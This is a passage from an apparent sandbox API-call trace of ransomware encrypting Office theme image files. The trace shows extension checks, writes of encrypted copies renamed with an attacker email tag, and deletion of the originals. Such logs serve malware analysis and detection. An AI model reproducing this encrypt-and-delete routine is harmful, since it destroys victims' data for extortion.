Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.394] lstrlenW (lpString=".doc") returned 4 [0076.394] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.394] lstrlenW (lpString=".docx") returned 5 [0076.394] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.394] lstrlenW (lpString=".pdf") returned 4 [0076.394] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.394] lstrlenW (lpString=".xls") returned 4 [0076.394] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.394] lstrlenW (lpString=".xlsx") returned 5 [0076.394] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.394] lstrlenW (lpString=".ppt") returned 4 [0076.394] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.394] lstrlenW (lpString=".zip") returned 4 [0076.394] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.394] lstrlenW (lpString=".rar") returned 4 [0076.394] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.394] lstrlenW (lpString=".bz2") returned 4 [0076.394] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.394] lstrlenW (lpString=".7z") returned 3 [0076.394] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.394] lstrlenW (lpString=".dbf") returned 4 [0076.394] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".1cd") returned 4 [0076.395] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".jpg") returned 4 [0076.395] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".doc") returned 4 [0076.395] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString=".docx") returned 5 [0076.395] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.395] lstrlenW (lpString=".pdf") returned 4 [0076.395] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString=".xls") returned 4 [0076.395] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.395] lstrlenW (lpString=".xlsx") returned 5 [0076.395] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.395] lstrlenW (lpString=".ppt") returned 4 [0076.395] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".zip") returned 4 [0076.395] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.395] lstrlenW (lpString=".rar") returned 4 [0076.395] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.395] lstrlenW (lpString=".bz2") returned 4 [0076.395] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString=".7z") returned 3 [0076.395] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".dbf") returned 4 [0076.395] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.395] lstrlenW (lpString=".1cd") returned 4 [0076.395] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0076.396] lstrlenW (lpString=".jpg") returned 4 [0076.396] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.396] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.396] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.396] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1925) returned 1 [0076.396] CloseHandle (hObject=0x1f0) returned 1 [0076.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0076.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.397] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.397] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.399] GetLastError () returned 0x0 [0076.399] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x785, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x790, lpOverlapped=0x0) returned 1 [0076.404] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.404] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.404] SetEndOfFile (hFile=0x180) returned 1 [0076.404] CloseHandle (hObject=0x180) returned 1 [0076.405] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.405] SetEndOfFile (hFile=0x1f0) returned 1 [0076.405] CloseHandle (hObject=0x1f0) returned 1 [0076.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.406] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0076.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.406] lstrlenW (lpString=".doc") returned 4 [0076.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.406] lstrlenW (lpString=".docx") returned 5 [0076.406] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.406] lstrlenW (lpString=".pdf") returned 4 [0076.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.406] lstrlenW (lpString=".xls") returned 4 [0076.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.406] lstrlenW (lpString=".xlsx") returned 5 [0076.406] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.406] lstrlenW (lpString=".ppt") returned 4 [0076.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.406] lstrlenW (lpString=".zip") returned 4 [0076.406] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.406] lstrlenW (lpString=".rar") returned 4 [0076.406] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.406] lstrlenW (lpString=".bz2") returned 4 [0076.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.407] lstrlenW (lpString=".7z") returned 3 [0076.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString=".dbf") returned 4 [0076.407] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString=".1cd") returned 4 [0076.407] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString=".jpg") returned 4 [0076.407] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString=".doc") returned 4 [0076.407] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.407] lstrlenW (lpString=".docx") returned 5 [0076.407] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.407] lstrlenW (lpString=".pdf") returned 4 [0076.407] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString=".xls") returned 4 [0076.407] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString=".xlsx") returned 5 [0076.407] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.407] lstrlenW (lpString=".ppt") returned 4 [0076.407] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.407] lstrlenW (lpString=".zip") returned 4 [0076.407] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString=".rar") returned 4 [0076.407] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.407] lstrlenW (lpString=".bz2") returned 4 [0076.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.407] lstrlenW (lpString=".7z") returned 3 [0076.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.408] lstrlenW (lpString=".dbf") returned 4 [0076.408] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.408] lstrlenW (lpString=".1cd") returned 4 [0076.408] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0076.408] lstrlenW (lpString=".jpg") returned 4 [0076.408] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.408] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.408] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.409] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=27407) returned 1 [0076.409] CloseHandle (hObject=0x1f0) returned 1 [0076.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0076.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.410] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.410] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.410] GetLastError () returned 0x0 [0076.410] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0076.412] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0076.413] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.413] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.414] SetEndOfFile (hFile=0x180) returned 1 [0076.414] CloseHandle (hObject=0x180) returned 1 [0076.414] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.414] SetEndOfFile (hFile=0x1f0) returned 1 [0076.415] CloseHandle (hObject=0x1f0) returned 1 [0076.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0076.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.415] lstrlenW (lpString=".doc") returned 4 [0076.415] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.415] lstrlenW (lpString=".docx") returned 5 [0076.415] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.415] lstrlenW (lpString=".pdf") returned 4 [0076.415] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString=".xls") returned 4 [0076.416] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.416] lstrlenW (lpString=".xlsx") returned 5 [0076.416] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.416] lstrlenW (lpString=".ppt") returned 4 [0076.416] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString=".zip") returned 4 [0076.416] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.416] lstrlenW (lpString=".rar") returned 4 [0076.416] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.416] lstrlenW (lpString=".bz2") returned 4 [0076.416] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString=".7z") returned 3 [0076.416] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString=".dbf") returned 4 [0076.416] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString=".1cd") returned 4 [0076.416] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString=".jpg") returned 4 [0076.416] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.416] lstrlenW (lpString=".doc") returned 4 [0076.416] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString=".docx") returned 5 [0076.416] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.416] lstrlenW (lpString=".pdf") returned 4 [0076.416] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.416] lstrlenW (lpString=".xls") returned 4 [0076.416] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.417] lstrlenW (lpString=".xlsx") returned 5 [0076.417] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.417] lstrlenW (lpString=".ppt") returned 4 [0076.417] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.417] lstrlenW (lpString=".zip") returned 4 [0076.417] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.417] lstrlenW (lpString=".rar") returned 4 [0076.417] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.417] lstrlenW (lpString=".bz2") returned 4 [0076.417] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.417] lstrlenW (lpString=".7z") returned 3 [0076.417] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.417] lstrlenW (lpString=".dbf") returned 4 [0076.417] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.417] lstrlenW (lpString=".1cd") returned 4 [0076.417] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0076.417] lstrlenW (lpString=".jpg") returned 4 [0076.417] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.417] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.417] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.418] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=3479) returned 1 [0076.418] CloseHandle (hObject=0x1f0) returned 1 [0076.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0076.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.418] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.418] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.420] GetLastError () returned 0x0 [0076.420] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0xd97, lpOverlapped=0x0) returned 1 [0076.580] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xda0, lpOverlapped=0x0) returned 1 [0076.582] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.582] WriteFile (in: hFile=0x180, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) 